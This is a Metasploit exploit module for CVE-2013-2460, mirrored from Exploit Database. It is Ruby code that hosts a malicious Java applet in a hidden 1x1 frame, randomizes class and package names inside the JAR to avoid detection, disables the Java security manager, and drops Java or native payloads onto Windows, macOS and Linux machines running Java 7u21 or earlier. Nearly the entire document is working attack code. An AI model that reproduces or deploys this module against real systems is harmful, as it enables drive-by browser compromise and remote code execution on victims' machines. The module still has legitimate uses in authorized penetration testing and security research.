Java Applet – ProviderSkeleton Insecure Invoke Method (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2013-07-01
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/26529/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'rex'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default
  
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript => false })
  
  EXPLOIT_STRING = "Exploit"
  
  def initialize( info = {} )
  
  super( update_info( info,
  'Name'=> 'Java Applet ProviderSkeleton Insecure Invoke Method',
  'Description' => %q{
  This module abuses the insecure invoke() method of the ProviderSkeleton class that
  allows to call arbitrary static methods with user supplied arguments. The vulnerability
  affects Java version 7u21 and earlier.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC
  'Matthias Kaiser' # Metasploit module
  ],
  'References'=>
  [
  [ 'CVE', '2013-2460' ],
  [ 'OSVDB', '94346' ],
  [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],
  [ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],
  [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],
  [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]
  ],
  'Platform'=> [ 'java', 'win', 'osx', 'linux' ],
  'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
  'Targets' =>
  [
  [ 'Generic (Java Payload)',
  {
  'Platform' => ['java'],
  'Arch' => ARCH_JAVA,
  }
  ],
  [ 'Windows x86 (Native Payload)',
  {
  'Platform' => 'win',
  'Arch' => ARCH_X86,
  }
  ],
  [ 'Mac OS X x86 (Native Payload)',
  {
  'Platform' => 'osx',
  'Arch' => ARCH_X86,
  }
  ],
  [ 'Linux x86 (Native Payload)',
  {
  'Platform' => 'linux',
  'Arch' => ARCH_X86,
  }
  ],
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Jun 18 2013'
  ))
  end
  
  def randomize_identifier_in_jar(jar, identifier)
  identifier_str = rand_text_alpha(identifier.length)
  jar.entries.each { |entry|
  entry.name.gsub!(identifier, identifier_str)
  entry.data = entry.data.gsub(identifier, identifier_str)
  }
  end
  
  
  def setup
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "Exploit.class")
  @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "ExpProvider.class")
  @provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")
  @action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  
  @exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)
  @exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)
  
  super
  end
  
  def on_request_uri(cli, request)
  print_status("handling request for #{request.uri}")
  
  case request.uri
  when /\.jar$/i
  jar = payload.encoded_jar
  jar.add_file("#{@exploit_class_name}.class", @exploit_class)
  jar.add_file("ExpProvider.class", @provider_class)
  jar.add_file("DisableSecurityManagerAction.class", @action_class)
  randomize_identifier_in_jar(jar, "metasploit")
  randomize_identifier_in_jar(jar, "payload")
  jar.build_manifest
  
  send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
  when /\/$/
  payload = regenerate_payload(cli)
  if not payload
  print_error("Failed to generate the payload.")
  send_not_found(cli)
  return
  end
  send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
  else
  send_redirect(cli, get_resource() + '/', '')
  end
  
  end
  
  def generate_html
  html = %Q|
  <html>
  <body>
  <applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
  </body>
  </html>
  |
  return html
  end
  
  end